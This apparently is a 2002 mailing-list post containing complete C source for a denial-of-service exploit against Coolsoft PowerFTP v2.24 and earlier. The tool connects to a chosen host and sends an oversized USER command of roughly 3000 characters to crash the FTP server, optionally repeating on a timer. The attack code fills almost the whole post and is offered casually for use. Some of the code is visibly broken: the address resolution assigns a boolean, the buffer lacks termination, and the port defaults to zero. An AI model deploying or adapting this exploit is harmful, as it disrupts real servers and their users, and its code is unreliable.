Coolsoft PowerFTP <= v2.24 Denial of Service (Linux Source)
Date: Sat, 12 Oct 2002 00:20:55 -0700
From: a b <[email protected]>
To: [email protected]
Subject: Coolsoft PowerFTP <= v2.24 Denial of Service (Linux Source)
Coded for fun.. I had nothing else to code and had nothing else to do. :P
I coded it cause Armand released C source that wuz for Windows.
Enjoy,
--p0pt4rtz
/*uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!
* uNF!
* PowerFTP Denial of Service (Linux Source) uNF!
* by p0pt4rtz of Trippin Smurfs uNF!
* -- uNF!
* Coded for fun :p uNF!
* uNF!
*uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!uNF!
*/
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <strings.h>
#include <errno.h>
#define VAR "USER "
#define TITLE "\E[37m"
#define p0p "\E[33;1m"
#define SMURF "\E[36m"
#define NORM "\E[m"
struct hostent *he;
struct sockaddr_in sck;
//function declarations
void usage(char *progname);
int conn();
int sdos();
size_t resolve(char *name);
void interm(size_t freedom);
void kconn();
void oconn();
//global vars
int verbose;
int sock;
size_t port, sleepy=0;
char *host=NULL;
void
usage(char *progname)
{
fprintf(stderr, "\xac usage: %s <options> -d <host>\n\n"
"-----------.----------------------------------------------\n"
"-d <host> | remote host to connect to. (default:
127.0.0.1)\n"
"-p <#port> | remote port to connect to. (default: 21)\n"
"-s <#secs> | reattack after n seconds.\n"
"-v | verbosity. twice for greater effect.\n"
"-h | this help for this lame ass program.\n"
" '\n\n", progname);
}
int
conn()
{
int ip;
if (ip=(resolve(host) == 0)) {
perror("resolve");
return -1;
}
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
return -1;
}
sck.sin_family = AF_INET;
sck.sin_port = htons(port);
sck.sin_addr.s_addr = ip;
memset(&(sck.sin_zero), '\0', 8);
if (connect(sock, (struct sockaddr *)&sck, sizeof(struct sockaddr)) == -1)
{
perror("connect");
return -1;
}
return 0; //everything's ok..
}
int
sdos()
{
int z;
char sugawh[3006];
sprintf(sugawh, VAR);
for(z=5;z<3000;z++)
sugawh[z]='i';
if ((send(sock, sugawh, strlen(sugawh), 0)) == -1) {
perror("send");
return -1;
}
return 0; //sugawh!
}
size_t
resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
void
interm(size_t freedom)
{
int i;
if (verbose!=0) fprintf(stderr, "Sleeping. Standby...\r"); fflush(stderr);
for (i=1; i<= freedom; i++) {
sleep(1);
if (verbose >=2)
fprintf(stderr,"Sleep progress : %d Seconds out of %d \r", i,
freedom);
fflush(stderr);
}
if (verbose!=0) fprintf(stderr, "Done! \r");
fflush(stderr);
}
void
kconn()
{
int a=0,b=0;
while(!0)
{
fprintf(stderr, "\xb9\tConnecting..
\r");
fflush(stderr);
if ((conn())==-1)
exit(1);
fprintf(stderr, "\xb2\tSending sugawh to dis bish..
\r");
fflush(stderr);
if ((sdos())==-1)
exit(1);
close(sock); //close em legs :p
fflush(stderr);
fprintf(stderr, "\xb3\tDone!
\r");
fflush(stderr);
interm(sleepy);
}
}
void
oconn()
{
fprintf(stderr, "\xb9\tConnecting..
\r");
fflush(stderr);
if ((conn())==-1)
exit(1);
fprintf(stderr, "\xb2\tSending sugawh to dis bish..
\r");
fflush(stderr);
if ((sdos())==-1)
exit(1);
close(sock); //close em legs :p
fflush(stderr);
fprintf(stderr, "\xb3\tDone!
\r");
fflush(stderr);
printf("\n\n");
}
int
main(int argc, char *argv[])
{
char c;
fprintf(stderr, "\n" TITLE "PowerFTP <= 2.24 Denial of Service (Linux
Source)" NORM "\n"
"by " p0p "p0pt4rtz" NORM " of " SMURF "Trippin Smurfs"
NORM "\n"
"coded for fun :p\n\n");
if (argc<2) {
usage(argv[0]);
exit(1);
}
while ((c=getopt(argc, argv, "d:p:s:vh")) != EOF)
{
switch(c)
{
case 'd': {
if (strlen(optarg) > 2000) {
fprintf(stdout, "too long of a hostname: %s\n", optarg);
exit(1);
}
host = optarg;
break;
}
case 'p': {
port = (optarg==NULL) ? 80 : atoi(optarg);
if ( port<=0 || port > 65535 ) {
fprintf(stderr, "invalid portno assignment.\n");
exit(1);
}
break;
}
case 's': {
sleepy = atoi(optarg);
break;
}
case 'v': {
verbose += 1;
break;
}
case 'h': {
usage(argv[0]);
exit(1);
break;
}
}
}
if (host==NULL) {
fprintf(stderr, "no host specified, using default 127.0.0.1\n\n");
host="127.0.0.1";
}
fprintf(stderr,
"attack information:\n"
"'''''''''''''''''''\n"
"remote host: %s\n"
"remote port: %d\n", host, port);
if (sleepy!=0)
fprintf(stderr, "attack interm: %d seconds\n", sleepy);
fprintf(stderr, "-----------------------------\n");
if (sleepy!=0)
kconn();
else
oconn();
}
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